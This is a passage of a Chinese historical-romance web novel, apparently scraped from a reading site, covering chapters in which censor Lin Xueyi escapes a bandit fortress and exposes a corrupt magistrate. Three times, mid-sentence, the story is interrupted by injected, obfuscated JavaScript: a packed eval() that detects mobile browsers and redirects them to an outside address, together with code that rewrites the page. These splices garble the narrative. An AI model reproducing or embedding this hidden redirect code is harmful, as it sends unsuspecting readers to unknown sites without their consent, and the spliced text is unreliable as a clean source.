付世仁为人阴险,看他和师爷二人目光闪烁,他们说的话不能尽信。 况且世子推断过,付世仁和黑水帮有所勾连,他们在船上遭到水贼的偷袭,多半就是付世仁在授意。眼下付世仁突然倒戈,必然是另有所图。 但是倘若大人真的在黑水帮手中,那么兵贵神速,拖延不得。 一念至此,墨云交代两个衙役将半死不活的孟长宇押回县衙,而后对付世仁道:“世子已经去了黑龙潭,还请付大人立刻召集人手,前往黑水帮剿匪。” “啊?”付世仁大感意外,悄悄和师爷对视了一眼。 他们自然是没有抓到什么水贼的,更加不知道那女御史人在何处,之所以这么说,不过是为了祸水东引,将明远侯世子怒气冲天对准他们的矛头转向黑水帮罢了。 如今的黑水帮早已不像刚起势时那样不堪一击,是越发难以拿捏了。如果明远侯世子有本事收拾黑水帮,正好可以替他们除掉这个心腹大患;如果他没有那个能耐,那么冤有头债有主,他也不能再把女御史失踪的事怪到他们头上。 无论是哪一种结果,对他们都是有利无害。 可是现在这世子的护卫却说他已经去了黑水帮的据点了,难道他们歪打正着,那女御史真的就在黑水帮的手里? 付世仁正在心里犯嘀咕,就见面前的护卫脸上掠过一抹疑色,问道:“怎么?难道付大人打算让我们世子孤身赴险?” 他忙不迭地摆手道:“不敢不敢,世子金尊玉贵,本官岂敢让世子独自去冒险。本官这就让县尉召集兵员,前去支援!” 付世仁一番话说得义愤填膺,心中想的却是,傻子才会真的去跟黑水帮杠上。 不过,既然明远侯世子已经去了,他横竖都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612300|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要做些样子出来。折损一些兵力倒不算什么,万一明远侯世子折在黑水帮手里,有他这么一招苦肉计在前,到时候明远侯也不能怨他袖手旁观。 这头付世仁心里的算盘打得噼啪响,那头墨云早已离开了玉仪坊,驾马直往黑水潭的方向赶去。 虽然他不知道付世仁有什么算计,但是县衙召集人手需要一时半会儿,他正好先去黑龙潭看看情况。若他们是一派胡言,世子也来得及对付他们;若他们所言不虚,那他们集结的兵员也正好可以派上用场。 然而,他才行出一段路,黑暗中便有一阵语声不偏不倚地传入他耳中:“墨护卫,林御史已不在石室。首尊动身去探黑水帮,命你速回宅子静候。” 墨云知道是巽五在传信,连忙勒住缰绳,骑马在原地转了两圈。 看来黑水帮确实可疑,但世子应该还不确定大人就在黑水帮,否则就不会只让他去宅子等消息。 他将这边的消息告诉了巽五,而后策马向宅子赶去。 · 这一日似乎极其漫长,无论是林雪意还是芷柔都感到精疲力竭,但是两人后半夜却都无甚睡意,只是合着眼稍作休憩。 也不知过了多久,屋外亮起了火把,敲门声旋即传来。 “薛娘子。”敲门的人似乎是二柱子。 “何事?”林雪意问。 她和芷柔本就和衣而卧,闻声便起来将桌上的烛台点燃,两人悄悄对视了一眼。 “时辰不早了,该让小柔出发了。” 二柱子虽未明说,林雪意却已明白是沙豹让他来催促芷柔带路了。 她却不马上答应,反而假意埋怨道:“这才什么时辰啊?怎么天还黑着就要人赶路?你莫不是在作弄本姑娘?” 二柱子赔笑道:“小的岂敢?薛娘子,冬天日头出得晚,已经快到卯正了。况且您有所不知,从这里出去走水路最快,小的刚看过水势,眼下正是时候。” “好吧,你且等着。” 林雪意说完拍了拍芷柔手背,低声叮嘱她路上小心,而后将她送到了门口。 二柱子正候在门外,他身后跟着的两个水贼虽然已经换做了普通老百姓的打扮,但一个人高马大,一个尖嘴猴腮,细看便知不是善类。看样子,沙豹便是要派这两个人去结果了沙虎。 “小柔,你快去快回,别耽误了二当家的事。”林雪意对芷柔说话,目光却从那两个水贼身上一一扫过,“这一路上,他们若敢唐突你,你只管回来告诉我,二当家自然会让他们吃不了兜着走。” “是。”芷柔将林雪意的暗示记在心里,眼波一转,眸光坚定,“姑娘放心。” 火光将她一张小脸衬得有些苍白,她别过林雪意转身,背影看着却和先前不同了,依然单薄,却不再娇弱。 林雪意望着她渐渐远去的身影,心中生出一种说不清道不明的情绪来,那情绪里有感动,有怜惜,有遗憾,有期盼,但更多的,却似乎是一种飞蛾扑火般的热烈和决然。 芷柔自然是不会再回来了,她们这一别,或许永远都不会再见,但她却由衷地感到高兴。 接下来她要做的,便是尽人事,听天命。 天微微亮的时候,沙豹又派人送来了一堆成亲的行头,喜服绣鞋,珠冠盖头,金银首饰,胭脂水粉一应俱全。 林雪意面上不显,心中却冷笑。 若不是她还身处黑水帮的水寨,门里门外都是水贼,她真要以为自己又回到了嫁入明远侯府的那一日。 她捧起镶珠嵌宝的精致珠冠看了半晌,而后当着一众水贼的面,将它丢在了地上。 64. 怒意 “薛娘子,您怎么了?”二柱子惊道。 其余听命于沙豹的水贼并不像二柱子这般会逢迎,见状纷纷投来戒备和敌视的目光。 林雪意却视若无睹,道:“我要见二当家。” “薛娘子,二当家在忙呢。”二柱子冲其他人摆了摆手,示意他们稍安勿躁,对林雪意劝道,“更何况,新人在拜堂前见面不吉利的。” 林雪意听了这哄小孩似的话也不恼,她唇角一扬,又把那堆金银首饰泼在了地上,道:“我要见二当家。” 二柱子这回愣住了。 他算是看出来了,这位官家小姐是在家中跋扈惯了。她再这么不知轻重下去,怕不是要误了二当家的大事。 “成!成!小的这就去请二当家!”二柱子一跺脚,拔腿就跑。 二柱子传话的速度着实不慢,过不多时沙豹就赶来了。 门外已经聚集了许多跑来看热闹的水贼,屋子里沙豹的手下周身弥漫着怒意和杀气,林雪意却闲闲在屋中坐着,连眼皮都不抬一下。 沙豹进屋看看满地的狼藉,又看看妆台前油盐不进的小娘子,心中升起了一股恼怒,皮笑肉不笑道:“薛小娘子,你这是做什么?” 林雪意并不用正眼看他,只瞥了他一眼,道:“二当家,你要娶我,总该拿出点诚意来吧?” “怎么,这些东西有哪样不好了?”沙豹逼近她,一双倒三角眼透出凶光。 林雪意却不怵他,而是缓缓扫了一眼在场的其他人,道:“你就想用这点东西打发我?” 沙豹听出她话中有话,冲二柱子使了个眼色。二柱子会意,立即招呼屋里的水贼退下,还殷勤地带上了门。 “说吧,你还想要什么?”沙豹按住心头怒意,佯装大度问道。 林雪意嗤笑一声,道:“我已经按你说的,让小柔给你的人带路了。可你别忘了,原本我爹爹抓你大哥是为了请功的。你要除掉他,我爹爹这到手的功劳可就飞了,你要拿什么来补偿?” 见这薛娘子发脾气只是为了讨要好处,沙豹热切笑道:“夫人,等我们今日成了亲,你爹爹就是我老丈人,我自然不会亏待他的。” “呸!”林雪意被沙豹这一声“夫人”叫得浑身不适,厉声斥道,“我可不是什么乡野村妇,没那么好糊弄。你给的条件若不能让我满意,我可保不准自己在拜堂的时候会说些什么。” 对方的威胁之意溢于言表,饶是沙豹想给她点颜色看看,却也不得不顾忌她这不知轻重的骄纵性子。 门外那帮看热闹不嫌事大的,可不全是对他死心塌地的人。他谋划之事只差临门一脚,可不能在这个节骨眼上出差错。 他一边在心中暗骂这御史女儿不知死活,发誓今日事成之后要她好看,一边堆起笑脸哄道:“夫人,别生气呀,你说什么我都照办。” “昨日夜里,我听你的意思,你大哥跟官府有勾连?”林雪意不等对方回答,径直接着道,“我要你大哥勾结官府的证据,有了这个,我爹爹照样可以加官进爵。” “你……”沙豹心中怒意升腾,差点忍不住拉下脸来。 这女人可比他想得要难缠! 沙虎和付世仁有书信往来,那些东西藏在哪儿他自然知道。只是他原本打算自己接掌黑水帮后,用那些东西来要挟付世仁,让官府替黑水帮做事。哪知现在却被这女人狮子大开口! “不舍得给我?”林雪意向屋门瞅了一眼,扬起一双好看的眉,“那我就向外头的人讨讨公道?” “给!”沙豹连忙截断她话头,咬牙切齿笑道,“夫人要的东西,我当然给。” “只是……”他又转了转眼珠子,一脸为难道,“外头等着喝喜酒的还有不少我大哥的人,人多眼杂,我如果贸然从我大哥房里拿东西,日后难免会让人起疑。夫人,我这也是为了咱们的将来考虑。” 林雪意叹了口气,假装让步:“也罢,那你去借来让我看一眼也成,我总要知道东西的真假。” 她心中想的却是,若是知道了东西放在何处,她自己去拿也是一样的。 沙豹如蒙大赦,顿时松了一口气。他一面叫人来收拾屋子,一面谄笑着往沙虎的屋子走去。 过了一阵子,他端着一只木匣返回来,献宝似的递给她:“东西都在这儿了,我可没骗你。” 林雪意接过木匣揭开盖子,就看见匣子里存放着许多信件。她随手取出最上面的一封打开,信中赫然是付世仁要求沙虎暗杀她的命令。 她不动声色地将信收起来放回去,趁着盖起木匣的机会,凝神回溯起来。 短暂的黑暗从视野中一闪而过,整座水寨陡然映入她的眼帘。她仿佛变成了一只盘旋于青云间的飞鸟,屋宇之外的青山绿水亦尽收眼底。 几道山流从山峦间流泻而出,汇入一条蜿蜒盘曲的河流,状如龙尾。 龙尾随着水势方向逐渐拉长变窄,从一座怪石嶙峋的山下横贯而出,做蛟龙吐水状汇入大江。 林雪意眼前画面不停,心中微讶:莫非她看到的是黑龙潭的全景? 但她只是想回溯出沙豹取木匣的路线,为何会看见整个黑龙潭? 随着她心念一转,盘踞在黑龙潭上的水寨陡然放大,眼前烟云四散而去,水寨的布局清晰可见。 找到沙虎的屋子的时候,视野骤然回到了当前。 林雪意长出一口气,按捺住胸口的窒闷,将匣子还给沙豹。 “好了,你们出去吧。” 回溯场景的后遗症再度袭来,她头晕目眩,声音微哑,看在沙豹眼里却十分娇弱可人,因此沙豹满意地带着一众人离开了。 外头的脚步声渐渐远去,林雪意便趴在妆台上剧烈地咳嗽起来。 眩晕的情况并没有随着时间的推移有所好转,反而眼皮逐渐沉重起来。 她下意识地抬手摸了摸额头,触到了一片滚烫。 她的视线落在面前的铜镜上,镜中的双颊浮起一抹不正常的淡红,身后桌上的那套喜服更是红得像血。 窗外天色渐亮,水寨里逐渐人声熙攘。 另一头,芷柔跟着两个水贼登上了水寨外头的一艘小船,顺水朝着前方的险峻的流石山驶去。 大山越来越近,两个水贼却似乎没有停船的打算。 芷柔正感到奇怪,前方山体下一个巨大的豁口便出现在眼前。 她顿时明白了早先二柱子说的水势正是时候是什么意思——原来这流石山地下还有贯穿山体的石洞,黑龙潭与清淮江连通,眼下正是退潮的时辰,水位下移,就露出了这个石洞。 坐船从石洞中穿过,确实要比翻山越岭要快上许多。 她转念一想,心中又有了新的猜测。 或许,昨夜她们从石室的水池离开后,便是被暗流从这个石洞里冲到了水寨附近…… 就在芷柔微微分神的时候,她忽然感到有一只手在她臀上摸了一把。 她惊雷电绕般转过身去,惊怒交加地瞪着她身后的水贼:“你做什么!” 那尖嘴猴腮的水贼不但不闪避,还洋洋得意地冲她笑起来:“妞儿,害什么臊呀?等今日事成,爷让二当家把你赏给我,还不就是一句话的事?你早晚是爷的人!” 芷柔气得发抖,脸色通红,但想到林雪意对她的叮嘱,她又强自压下惊恼,作出嚣张跋扈的样子来:“就你?你还是撒泡尿照照自己的样子吧!” 水贼不以为然,哂笑着调戏道:“嘿,你这妞儿还挑上了。爷我长得虽然一般,但是活好啊。” 芷柔翻了个白眼,咬牙恨恨斥道:“没脸没皮的下流东西!一旦今日事成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654641|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我家姑娘可就是黑水帮的压寨夫人!姑娘对我向来是极宠的,你说到时候,我求姑娘做主割掉你的舌头,二当家肯是不肯?” 此言一出,那水贼的脸色登时就变了。 他跟在二当家身边有些年头了,二当家玩过的女人不少,可说要娶了当夫人的这却是头一个。虽然这亲事是二当家计划的一部分,但二当家确实对那女人挺上心。 早先出发时,那女人敲打他们的话鬼使神差般浮现在他耳边,让他这耐不住寂寞的色心缩了又缩。 “都给老子闭嘴!”这时船头那个人高马大的水贼不耐烦地呵斥道,“坏了二当家的事,谁都讨不找好!” 船尾的水贼立刻不作声了。 芷柔暗自松了一口气,目光投向水寨的方向,蜷紧了袖中的手指。 她一定会完成大人的嘱托! 漾漾水波中,小船顺风顺水驶出了山洞。 靠近山洞的一处树丛中,男子眼睫微微一颤,猛然掀开,露出一双清寒幽深的眼。 清早的空气冰凉入骨,撩拨着心中绷紧的弦。惊疑的神色从眸中一闪而过,晏返旋即冷静下来,锐利的视线扫视周围。 他竟然睡着了。 昨夜他暗中扫清驻守流石山的水贼后,一时力竭,便想在此处稍作休息,不料这一合眼便是两个时辰。 若不是那番关于什么“压寨夫人”的争执,他可能还醒不过来。 想到此处,晏返自嘲般弯起唇角——寒梅之毒,竟让他懈怠至此! 他压下心头烦躁的情绪,一面思量一面打量山体下方因退潮而露出的宽扁石洞。 昨夜巽五带来墨云的话,付世仁说林雪意在黑水帮手中。付世仁口中的消息不一定是真,但林雪意的下落却未必是假。 眼下除了墨云,乾一、兑二、离三、震四也皆在城中,但他们那头却迟迟没有传来林雪意的消息。原本抓走林雪意的孟长宇已经落网,那么最大的可能便是,她确实身处黑水帮的水寨中。 正思索间,巽五的声音穿过重重树影,传入他耳中:“首尊所料不差。据坎六、艮七、坤八传回的消息,黑龙潭四周其余五座山头皆有水贼严防死守。今日黑水帮有喜事,另有四百余人齐聚水寨之中。” 巽五又道:“艮七说他在流石山的山阴一侧见到了官府集结的一百余人,想来是昨夜县尉召集的兵员到了。” “山阴一侧?”晏返不禁垂眸思忖。 流石山下的石洞是东西走向,石洞下的水路乃是黑水帮出行的必经之路。 而山阴乃是山的北面,那县尉倒像是知道存在山洞一事,有意避开黑水帮的锋芒,不与他们正面对上。 比之付世仁,可谓是有脑子多了。 他想了想,微蹙的眉头忽而一松,问:“此处的县尉可是叫方玉宣?” “正是方玉宣。” “替我带话给他,调虎离山,声东击西。” 晏返交代完后,巽五的气息很快便消失在树影间。 伤口的疼痛已然麻木,寒梅对身体的压制也已消失,晏返甩袖拂开身前叶丛,脚下一轻,掠下山去。 黑龙潭边有水贼往来巡逻,他侧身隐匿山石之后,正想另寻他路,却听得队伍中传来放肆的说笑声:“昨夜我见过那薛娘子,美得跟天仙似的,真是我见犹怜!” 他脚步骤然一顿,抬手便将走在队伍最后的水贼掠到跟前,钳住对方脖颈,语声冰冷:“今日沙豹跟谁成亲?” 迫人气势兜头而下,那水贼脸色大变,想要呼救却是不能,只能从被掐紧的喉咙间断断续续挤出一些破碎的字句:“好像……是叫薛……薛……意!” 薛意。 空气中爆开“咯”的一声轻响,男子将被拧断了脖子的水贼甩在地上,幽沉双眸冷若寒潭。 65. 逃脱 天色已经大亮。 二柱子巴巴地在薛娘子屋外掰着手指,发现自己已经在此处等了一个时辰。他再次打了个哈欠,百无聊赖地四下打量。 黑龙潭里都是三大五粗的男人,何况今日二当家成亲也只是个幌子,自然不会真的有人费心布置。 只是为了避免薛娘子起疑,她住的这一处屋子,二当家倒是派人打点了一番。 眼下廊下张灯结彩的,还真有点那么回事。 就在二柱子心猿意马的时候,屋门吱呀一声从里头打开了。 二柱子循声望去,眼珠子差点瞪出来—— 微风穿廊而过,飘舞红绸掩映着的人儿红衣金饰,乌发如墨,肤白胜雪,美得令人心颤。 ——乖乖,说这是从画里出来神妃仙子,他都信! 二柱子恍神了好一阵,见那美娇娘跨出房门,这才惊醒过来,连忙迎上去:“薛娘子,您不能离开这屋子。” 林雪意面上浮起一丝不屑,凉凉地扫了他一眼,语声倨傲:“怎么?不让我出去透气,是想闷死我吗?” 她有意打扮得珠光宝气,美艳逼人,颇有些养尊处优的大小姐的气派,这样冷冷一眼望过去,漠然的眼神便显出几分凌厉。 二柱子不由得缩了缩脖子。 他可是看出来了,二当家说要让她做压寨夫人的话确有几分是真,他可不能轻易得罪她。 他眼珠转了又转,讪笑道:“薛娘子恕罪,眼看这吉时就要到了,喜堂那边来随时要来接人的,您就先在屋里等一等吧。” 林雪意漫不经心地看着自己涂了蔻丹的指甲,意兴阑珊道:“那你去喜堂问问,到底什么时候来接人。再这么拖延下去,我可不干了!” “您别急,我这就去,这就去!”见这官家小姐眉间隐现怒意,二柱子立即脚底抹油一般,拔腿向喜堂跑去。 等到二柱子的身影消失在前方拐角处,林雪意旋即敛去眼底轻慢的神色,扫了四周一眼后便朝沙虎住处的方向走去。 今日水寨中有不少沙虎的人,沙豹想要一举夺权,自然要尽量部署安插自己的人手,好到时候搅混水。 经过清早她那一闹,沙豹显然以为她已经死心塌地要嫁她,因此除了二柱子外并没有留其他人手。 倒是水寨中有不少水贼编成的队伍往来巡逻,可她早在回溯木匣时便看清了他们巡逻的路线和轨迹。 她已在脑海中预演过许多次,对水寨的布局可谓熟稔于心,因此这一路上还算顺利。 在一队水贼从沙虎屋外经过之后,林雪意溜进了沙虎的房间。 然而,当她取了木匣中的书信打算离开时,方才离开的那队水贼的去而复返了。 林雪意忍着脑袋发烫带来的昏沉,提起一口气,像是没看到这些人一般,状似稀松平常地往外走。 利刃划破空气的声音顿起,锃亮刀锋横在了她颈侧。 “你是什么身份?竟敢到大当家的地盘来撒野!”持刀的水贼队长黑着脸喝问道。 林雪意没有惊慌,反而施施然扫了他们一眼,将他们脸上恨不得砍了她的敌意全看在了眼里。 这些人显然都是效忠于沙虎的,且听信了沙豹编排的那番说辞,将她视作了眼中钉。 她眼波一转,朱唇轻启:“你们大当家命在旦夕,你们不赶紧去救,只知道守着这间空屋,真是蠢货!” 对方听出她话中有话,锋利刀身挨在了她颈上,质问道:“你什么意思?” 眼见对方上钩,林雪意双眉一挑:“你们还真以为,沙豹会让沙虎活着回来?” “你这女人,休想挑拨离间!”水贼队长怒道。 “蠢货就是蠢货。”林雪意目光轻蔑,仿佛被刀抵住脖子的另有其人,“实话告诉你们吧,沙豹早就已经向我爹爹投诚了。整个水寨,包括沙虎的性命,都是他给我爹爹的投名状。你们派出去营救沙虎的人根本不会回来,因为沙豹告诉你们的地点是假,事先设置了埋伏才是真。” 林雪意不徐不疾的话就如一道惊雷,陡然劈落在场的每一个水贼心头。 水贼队长同身边的几人交换了一下眼神,随即以指为哨吹出一阵啸声。指哨声落下的瞬间,一只矫健鹰隼立时从众人头顶掠过,向水寨之外翱翔而去。 就在众人等待消息的时候,远处传来了骚动声。 林雪意循声望去,就见远处的天空中升起了滚滚黑烟,正是那座山石嶙峋的大山的方向。 她羽睫轻轻一颤,猜想有人故意在吸引别处的水贼过去。 喧嚣之声很快从远处向这边蔓延过来,凌乱的脚步越来越近,沙豹和他的手下出现在了不远处。 沙豹喘着粗气向这边走来,显然外头的情况让他有些措手不及。 他看向林雪意,眼中闪过一抹阴戾:“夫人,你到这里来做什么?” 林雪意扬起红唇,美目流转:“我爹爹的人已经到了吧?这些人不知道自己死到临头,我大发慈悲来给他们提个醒。” 沙豹登时愣住。 他确实是有意要把这薛娘子的御史爹引过来不假,但是流石山这道屏障坚不可摧,其上更有不下百人,区区一个别处来的御史,就算手下有再多的好手,应该也折腾不出什么水花。 可是就在刚才,流石山上他们设置营垒的地方竟然起火,更有水贼从上头逃下来说官兵已经攻上流石山,请求水寨派人支援。 这情况实在蹊跷。 “沙豹,你这叛徒!” 沙豹还没想明白,一旁的水贼队长就大喝一声,操起大刀向他砍来。 他连忙挥刀挡住,怒道:“你在说什么?谁是叛徒!” “呵,你这姘头可什么都说了。”水贼队长咬牙恨恨道,“你出卖水寨,谋害大当家!你忘了吗?你自己都是大当家从死人堆里救出来的,你这个忘恩负义的东西!” 沙豹这才反应过来,刚才薛娘子同他说的那话其实是说给沙虎的人听的,为的就是要让他们以为他跟她爹里应外合。 她竟然当着他的面使反间计! 他猛力别开对方的刀,大吼一声:“这女人胡说八道,你们被她骗了!” 四周骤然安静,几十道视线齐刷刷向林雪意投来,有的戒备,有的狠厉,她却视若无睹,仿佛胜券在握。 就在这时,空中传来猛禽扑翅之声。 那只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710748|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去传信的鹰隼收拢翅膀停在水贼队长的臂上,爪子上捆着一根带血的布条。 两方人马的视线都聚集在那布条上,林雪意便趁着这个机会,不动声色地往后退了几步。 “好啊!你果然派人埋伏,杀害我们的人!”水贼队长看罢将布条狠狠往地上一掷,高声道,“弟兄们,杀了这个吃里扒外的叛徒!” 沙豹早有准备,即刻率人抵挡,但他心中却惊涛骇浪。 听对方的意思,是薛娘子告诉他们,他编造了一个地点骗沙虎的人前去营救,又提现在半道上设伏截杀他们。 他确实是那样做的,可是他从未向她透露过半句,就连二柱子也不知道他全部的计划,为什么那个女人会知道? 她到底是什么来路?! 刀光剑影间,沙豹惊怒交加地寻找那个底细不明的女人,但是那刺目又撩人的身影已经消失在混乱中…… · 寒风如烟丝不停从身侧溜过,林雪意却觉得自己的身体像是要烧起来一般。 眩晕感在脑袋周围盘旋不去,她勉力抬起沉重的眼皮,步履蹒跚地穿行在水寨中。 好在水寨里已经乱成了一锅粥,她也知晓了离开此处的路线,险险躲过几下无眼乱刀后,她终于逃出了水寨。 她没有向外潭的方向逃,反而是往水寨后头的山上跑。 既然流石山遇袭,那么别处的水贼肯定会赶往那个方向营救,相较之下,别处的防守变得薄弱,闯出去的胜算更大。 她一边穿行于山石草木间,一边将手上颈上沉甸甸的首饰取下来丢掉,但这一身红衣终究过于惹眼,引来了一队水贼的追击。 听着后头越来越近的追赶和喊杀之声,林雪意不由心弦绷直。她仓皇地转头朝身后看去一眼,就见那伙水贼已经追到了几步开外。 眼看闪着寒光的刀锋就要向她劈落,树影间突然闪过一道疾风,那群水贼顿时像是受到迎面而来的无形重击般,七零八落地从崎岖的山道上栽倒下去,无一幸免。 林雪意错愕了一瞬,似有所觉般蓦然转身,视线在触及前方那道熟悉身影的时候骤然凝住。 男子的身形挺拔修长,朗目疏眉,此时却有些狼狈。他一身玄色劲装上遍布深浅痕迹,胸膛的破口处还在往外渗血,俊美的下颌线上赫然横亘几道血痕。 这些大大小小的伤痕衬得他整个人都冷峭疏离起来,就连他遥遥望过来的目光,都仿佛只是她眩晕之下的幻觉。 真的只是她的幻觉吗? 林雪意只觉得有一股奇怪的情绪涌上心头,酸涩、茫然、惊惧、紧张,以及一丝微不可察的不甘,它们在她心中翻搅升腾,轻轻地,推了她一把。 “晏返!” 她几乎是用尽力气,迈开步子向那道身影跑过去。 前方的人也正朝这边大步过来,眼看对方已经近在咫尺,她堪堪停住了脚步。 这不是幻觉! ——这个念头让她胸口剧烈鼓动,一时之间竟有些忐忑。 林雪意刚想开口说些什么,面前的人却上前一步,将她一把按进了怀中,微沉嗓音在她耳畔轻缓覆落—— “对不起。” 66. 剿灭 林雪意,对不起。 晏返紧紧将人拥在怀里,猛烈起伏的心绪让他几乎克制不住手指的颤抖。 在得知沙豹打她主意时的狂躁,在水寨中遍寻她不见时的焦灼,在发现她被水贼追杀时的愤怒,所有躁动不安的心情,全在她朝他跑来的那一刹土崩瓦解。 脑海中闪过千言万语,最先脱口而出的却是这句道歉。 这句话已经在他心头盘旋了太久,当他看见她脸上手上随处可见的伤口时,强烈的愧疚和剧烈的自责更是完全占据了他的心房。 她一身嫁衣红得炫目,刺得他心口发痛。 这一切皆是因他而起。 林雪意冷不跌地被晏返锁在怀里,周身满盈他的气息,她乌黑的羽睫不由颤了颤,一股热意便悄无声息地漫上雪颈。 想到他有伤在身,她不敢用力动弹,试探问道:“疼吗?” “疼。”抱着她的人用力点了点头,语声微哑,“你不在的时候,我连呼吸都疼。” 林雪意立刻想起孟长宇所说的寒梅毒性,又想起前日夜里晏返昏迷时那番猫儿抓玩具似的举动,顿时心中歉然,道:“抱歉,都是因为我……” 虽然她还不知道其中关系,但似乎她在他身边时,他毒发的症状会轻一些。 昨夜她贸然离开,他定然受了不少煎熬。 林雪意刚想问晏返是如何找到这里来的,身后便传来了一阵脚步声。 她转头循声看去,就见一众气势汹汹的水贼正穿过草木往这边包抄过来,为首的正是满脸黑气的沙豹。 沙豹目光怨毒地看着林雪意,皮笑肉不笑道:“夫人,我找你找得好苦,你竟然在这儿跟野男人幽会!” 林雪意立时听到了身后传来拳头关节作响的声音,未及她回身,晏返便走到她跟前,宽阔挺拔的身躯将她与沙豹凶狠的目光阻隔开来。 淡淡冷笑落进空气,男子清醇的嗓音泛起慑人杀意:“丧家之犬,也配垂涎我夫人?” 沙豹被戳中了痛脚,顿时暴跳如雷,挥刀相向:“来人啊,给我杀!成全这对奸夫□□!” 对方人多势众,晏返又浑身是伤,林雪意不由得一口气提在心头。她正想叮嘱晏返小心,四周陡然传来一阵军队行进的脚步声。 她抬眼环顾四下,不由眼睛一亮—— 只见山脊和山坳上逐次出现身披甲胄的士兵,山脚下一位魁梧将领骑在马上,身后飘扬着徐州的州军旗号。 那将领声音洪亮地朝山上呼喊:“山上的贼子们听着!我乃徐州都监季明威,奉御史令前来剿匪!你们的同伙已被肃清,赶紧缴械投降,否则休怪刀剑无眼!” 这正是前来救援的州军! 看来芷柔成功了! 林雪意心中一喜,就听得漫山遍野都传来士卒们的呼喝之声。 “刀剑无眼,缴械投降!” “刀剑无眼,缴械投降!” “刀剑无眼,缴械投降!” …… 跟着沙豹追上山来的一众水贼在震天的呼声中手足无措,四下张望,纷纷变了脸色。 “没用的东西!”沙豹红着眼挥刀砍向近旁一个神色动摇的水贼,怒吼道,“谁敢给老子投降,老子现在就结果了他!” 他又目光阴狠地盯向林雪意,咬牙切齿问:“你到底是谁?” 林雪意轻轻拍了拍晏返臂膀,走到了他身侧。 新娘珠冠的流苏在眼帘前晃动,她只觉得碍眼,便抬手拔下发间固定珠冠的发簪,取下珠冠随手一抛。 珠冠在山道上轱辘滚动了两下便坠下山去。 四起的山风中,少女一头乌发如水流泻,衬得那张清丽脸庞晶莹如雪。她轻一扬唇,秀雅眉目间便多了几分英气。 “本官,监察御史林雪意是也!” 沙豹猛然一怔,继而大梦初醒般仰天大笑起来。 “好!好得很!”沙豹抬手怒指林雪意,仿佛恨不得生啖其肉,“你可真够狠!不愧是我沙豹看上的女人!哈哈哈哈哈……” 林雪意心中并无波澜,她抬手拦住想要上前的晏返,正打算出言让沙豹放弃抵抗,斜刺里却突然窜进一队人来。 为首身穿官服的人大腹便便,眼神奸猾,对着沙豹斥道:“大胆狂徒,竟敢冒犯御史大人!来人啊,速速将他拿下!” 还不等他带来的人有所动作,沙豹就狞笑着向他挥刀威慑:“你这狗官还敢出来,信不信老子削了你这根墙头草!” 那人立刻抱着头躲到他身侧的人后头,大叫道:“方县尉!快!快保护本官!” 林雪意看他穿着,已猜到他便是尹阳县的知县付世仁,倒是那个被他唤作方县尉的人令她有些意外。 此人看面容已是不惑之年,目光锐利,举手投足间尽显干练,但他眼下却是一身水贼的穿着,而跟在他们身后的县兵也皆做水贼打扮。 莫非正是他们假扮水贼混入黑水帮,在流石山上制造混乱,这才引走了黑水潭大部分的防守力量? 就在林雪意打量方县尉的当下,对方也朝这边飞快瞥来一眼,却是看向晏返的。 他显然身手不错,飞步上前跟沙豹打在一处,几个回合之后,沙豹便败下阵来。 他带来的士兵有一百来人,见他身先士卒,皆受鼓舞,也是越战越勇,不多时便将余下的水贼全数擒住。 林雪意心中更加惊讶。 此人有如此身手和能力,为何到了这般年纪,却依然只是尹阳县中一个小小县尉? 就在她心下疑惑之时,付世仁已经溜到了她跟前,义愤填膺道:“林御史您受惊了。下官一得知您被这伙贼人抓走,就立刻遣人来救了。下官真是没想到,他们竟然会把主意打到您身上,真是胆大包天!” “付世仁你这孙子!你……”沙豹怒骂出声,话没说完,就被付世仁脱下的靴子砸了一嘴巴。 “死到临头还嘴硬!”付世仁恨恨骂着,又转头殷勤看向林雪意,“御史大人,这黑水帮作恶多端,本官苦其久矣,还请您裁断!” “好啊。”林雪意冷笑一声,扬眉对上他那双冒着精光的眼珠子,“不如付大人先说说,你和贼匪勾结,指使黑水帮刺杀本官,该判什么罪?” 这话让付世仁始料未及,只见他面色陡然一僵,哆嗦了两下嘴唇道:“大、大人,下官从未做过此事,这其中一定有误会!” 林雪意从袖中取出在沙虎房中拿到书信,摔在付世仁面跟,怒道:“付世仁,你勾结水贼鱼肉百姓在前,伙同贼人谋害官员在后,恶行累累,罪不容诛!如今铁证如山,你还想狡赖吗!” 情势转变得太快,付世仁难以置信地看向眼皮底下那些熟悉的信件,双腿不由自主住地打起颤来。 “哈哈哈哈……”一旁的沙豹放声大笑起来,对付世仁道,“狗官,你也有今天!” 付世仁被这凶狠笑声弄得六神无主,扑通一声跪在地上,面如土色。 